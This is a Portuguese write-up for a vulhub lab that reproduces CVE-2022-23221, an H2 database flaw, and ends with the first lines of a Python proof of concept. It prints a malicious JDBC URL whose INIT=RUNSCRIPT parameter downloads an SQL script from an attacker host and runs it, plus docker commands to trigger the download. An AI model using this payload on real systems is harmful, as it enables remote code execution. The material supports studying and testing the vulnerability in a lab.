
vulhub/H2-database/CVE-2022-23221
Referência: https://nvd.nist.gov/vuln/detail/cve-2022-23221
O H2 é um sistema de gerenciamento de banco de dados relacional que oferece a funcionalidade de compilar e executar código Java diretamente dentro do motor SQL.
O driver do H2 analisa a URL JDBC para estabelecer a conexão entre a aplicação e o banco de dados. Nesse processo, é possível controlar o estado inicial ou o comportamento do banco de dados por meio dos parâmetros de configuração incluídos na URL.
As versões do H2 anteriores à 2.1.210 apresentam o problema de permitir a execução de scripts SQL remotos por meio do parâmetro INIT da URL JDBC. Um atacante explora isso injetando remotamente um script SQL manipulado e executando comandos do sistema por meio das instruções contidas nele, o que provoca a vulnerabilidade CVE-2022-23221.
As características desta vulnerabilidade são as seguintes.
Escopo de impacto da vulnerabilidade
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> contorno das configurações de segurança
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL executado automaticamente ao conectar a aplicação ao banco de dados
CREATE ALIAS.
CREATE ALIAS dentro do script a ser executado remotamente faz com que o H2 execute a função Java contida no script dentro do banco de dados, resultando, em última instância, em RCE.Cenário
id, whoami, pwd, isso significa que o ambiente H2 vulnerável foi configurado e que, no processo de análise da URL JDBC maliciosa pelo H2, o arquivo exploit.sql foi baixado remotamente do servidor do atacante e executado.Configuração do ambiente
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : fornece o arquivo exploit.sqlApós configurar o ambiente, ao acessar http://your-ip:8082, a página web do H2 é exibida.
: No console web, como as políticas de segurança estão aplicadas, os parâmetros que servem de condição para a vulnerabilidade podem ser filtrados; portanto, insira diretamente via CLI a URL JDBC contendo o parâmetro malicioso para reproduzir a vulnerabilidade e verificar o resultado.
URL JDBC normal: "jdbc:h2:mem:test"
Comando de requisição normal
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Resultado da execução

Insira uma URL JDBC maliciosa no driver H2 para tentar conexão com o servidor attacker. Neste caso, há 2 formas de inserir a URL.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

O H2 solicita (HTTP GET) o arquivo exploit.sql ao servidor attacker conforme INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' especificado no parâmetro INIT da URL JDBC e o executa dentro do banco de dados H2.
docker logs attacker, é possível verificar o log da requisição do arquivo exploit.sql vinda do servidor h2-vulnerable.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys